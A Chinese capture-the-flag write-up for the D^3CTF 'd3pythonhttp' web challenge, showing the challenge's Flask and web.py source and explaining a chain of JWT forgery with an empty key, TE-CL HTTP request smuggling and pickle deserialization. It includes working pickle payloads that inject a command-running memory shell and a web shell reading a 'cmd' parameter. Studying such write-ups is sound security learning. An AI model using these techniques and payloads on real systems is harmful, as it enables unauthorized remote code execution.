【Web】D^3CTF之浅聊d3pythonhttp——TE-CL请求走私

目录

[step0 题目信息](#step0 题目信息)

[step1 jwt空密钥伪造](#step1 jwt空密钥伪造)

[step1.5 有关TE&CL的lab](#step1.5 有关TE&CL的lab)

[step2 TE-CL请求走私](#step2 TE-CL请求走私)

payload1

payload2


step0 题目信息

注意到题目源码前端是flask写的,后端是web.py写的

frontend

from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.client

app = Flask(__name__)

login_form = """
<form method="post">
    Username: <input type="text" name="username"><br>
    Password: <input type="password" name="password"><br>
    <input type="submit" value="Login">
</form>
"""

@app.route('/', methods=['GET'])
def index():
    token = request.cookies.get('token')
    if token and verify_token(token):
        return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
    else: 
        return redirect("/login", code=302)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == "POST":
        user_info = {"username": request.form["username"], "isadmin": False}
        key = get_key("frontend_key")
        token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
        resp = make_response(redirect("/", code=302))
        resp.set_cookie("token", token)
        return resp
    else:
        return render_template_string(login_form)

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
    forward_url = "python-backend:8080"
    conn = http.client.HTTPConnection(forward_url)
    method = request.method
    headers = {key: value for (key, value) in request.headers if key != "Host"}
    data = request.data
    path = "/"
    if request.query_string:
        path += "?" + request.query_string.decode()
    conn.request(method, path, body=data, headers=headers)
    response = conn.getresponse()
    return response.read()

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    token = request.cookies.get('token')
    if token and verify_token(token):
        if request.method == 'POST':
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                forward_url = "python-backend:8080"
                conn = http.client.HTTPConnection(forward_url)
                method = request.method
                headers = {key: value for (key, value) in request.headers if key != 'Host'}
                data = request.data
                path = "/"
                if request.query_string:
                    path += "?" + request.query_string.decode()
                if headers.get("Transfer-Encoding", "").lower() == "chunked":
                    data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
                if "BackdoorPasswordOnlyForAdmin" not in data:
                    return "You are not an admin!"
                conn.request(method, "/backdoor", body=data, headers=headers)
                return "Done!"
            else:
                return "You are not an admin!"
        else:
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                return "Welcome admin!"
            else:
                return "You are not an admin!"
    else: 
        return redirect("/login", code=302)

def get_key(kid):
    key = ""
    dir = "/app/"
    try:
        with open(dir+kid, "r") as f:
            key = f.read()
    except:
        pass
    print(key)
    return key

def verify_token(token):
    header = jwt.get_unverified_header(token)
    kid = header["kid"]
    key = get_key(kid)
    try:
        payload = jwt.decode(token, key, algorithms=["HS256"])
        return True
    except:
        return False

if __name__ == "__main__":
    app.run(host = "0.0.0.0", port = 8081, debug=False)

backend

import web
import pickle
import base64

urls = (
    '/', 'index',
    '/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())


class index:
    def GET(self):
        return "welcome to the backend!"

class backdoor:
    def POST(self):
        data = web.data()
        # fix this backdoor
        if b"BackdoorPasswordOnlyForAdmin" in data:
            return "You are an admin!"
        else:
            data  = base64.b64decode(data)
            pickle.loads(data)
            return "Done!"


if __name__ == "__main__":
    app.run()

step1 jwt空密钥伪造

jwt解密的过程是去jwttoken的header中取kid字段,然后对其拼接/app/得到文件路径,但我们不知道secretkey在哪个文件中,这里只要指定一个不存在的文件名就可以用空密钥去解密

且后续也不会去验证签名的合法性

指定一个加密的空密钥,再把取解密密钥的路径置空

带着token去访问./admin,发现成功伪造

拿到admin之后我们就可以去请求后端 /backdoor 接口

要访问 /backdoor 接口,请求体要有 BackdoorPasswordOnlyForAdmin ,但后端想要执行pickle反序列化又不能有这段字符串,二者显然矛盾

step1.5 有关TE&CL的lab

我们可以实验下,请求头中有Transfer-Encoding时服务器接收的数据是怎样的

from flask import Flask, request

app = Flask(__name__)

@app.route('/admin', methods=['GET', 'POST'])
def admin():
        if request.method == 'POST':
                data1 = request.data
                print("这是前端接收到的数据")
                print(data1)
                data2 = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data1))[2:], data1.decode())
                print("这是前端向后端发的数据")
                print(data2)

if __name__ == "__main__":
    app.run(host = "0.0.0.0", port = 8081, debug=False)

bp发包的时候记得把repeater的Update content length关掉

(从上图bp发包可以看到,当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响)

本地起的服务成功打印出接收的data,就是将我们传的分块数据进行了一个拼接

向后端传的data,b8=9c+1c,就是进行了一个TE的格式化处理

至于后端接收的原始数据(暂时忽略Content-Length),显然就是

gANjYnVpbHRpbnMKZXZhbApxAFhUAAAAYXBwLmFkZF9wcm9jZXNzb3IoKGxhbWJkYSBzZWxmIDogX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9TZWNyM1RfRmxhZycpLnJlYWQoKSkpcQGFcQJScQMuBackdoorPasswordOnlyForAdmin

不作赘述

step2 TE-CL请求走私

于是就来到了本题的重头戏:浅谈HTTP请求走私

考虑前后端对HTTP报文的解析差异

后端web.py的web.data()对传入data有这样一段处理

就是说Transfer-Encoding 不为 chunked 就会走CL解析,这里可以用大写绕过chunked

前端flask对请求头的Transfer-Encoding判断时有一个小写的处理,这说明flask底层处理http报文不会将其转小写(否则就是多此一举),因而传往后端的headers中Transfer-Encoding仍然是大写的,这也就支持了上述绕过。

走过判断后,又对data手动进行了一个分块传输的格式处理

伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收到,但是前端可以),这样一来就绕过了对于BackdoorPasswordOnlyForAdmin的检测,进行pickle反序列化,靶机不出网,可以结合web.py的add_processor方法注内存马(就是在访问路由后执行lambda表达式命令)

payload1

import pickle
import base64


class A(object):
    def __reduce__(self):
        return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))


a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

Content-Length就是base64编码的长度

打入后直接访问/backend路由即可命令执行

payload2

用pker生成opcode再转base64

GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode

exp.py

getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
a = dict_get(builtins, '__builtins__')
exec = getattr(a, 'exec')
exec('index.GET = lambda self:__import__("os").popen(web.input().cmd).read()')
return

python3 pker.py < exp.py | base64 -w 0

改一下Content-Length

访问./backend?cmd=cat /Secr3T_Flag

相关推荐
乐吾乐科技1 小时前
【国产开源可视化引擎Meta2d.js】锚点
前端·编辑器·web·数据可视化·大屏端
Gnevergiveup17 小时前
每日一练:攻防世界:Hidden-Message
ctf·misc
kitha.1 天前
Hack The Box-Editorial
linux·网络·windows·安全·web安全·网络安全·web
€键盘人生1 天前
跟我一起学习和开发动态表单系统-前端用vue、elementui实现方法(3)
java·vue·mvc·mybatis·web·动态表单·element ui·srping boot
dayceng1 天前
【冷启动#2】实用的springboot tutorial入门demo
java·mysql·web
冬天vs不冷2 天前
SpringMVC基础详解
java·spring·servlet·mvc·web
群联云防护小杜2 天前
游戏行业如何运用技术手段应对DDoS攻击:实战指南
数据库·安全·游戏·小程序·web·ddos·被攻击
LiamHong_3 天前
简单了解 HTTP 请求方法
前端·后端·http·学习方法·web
猛踹DY好腿3 天前
Web基础
linux·web
yuanyy7203 天前
zip-zip(子函数调用)
ctf·攻防世界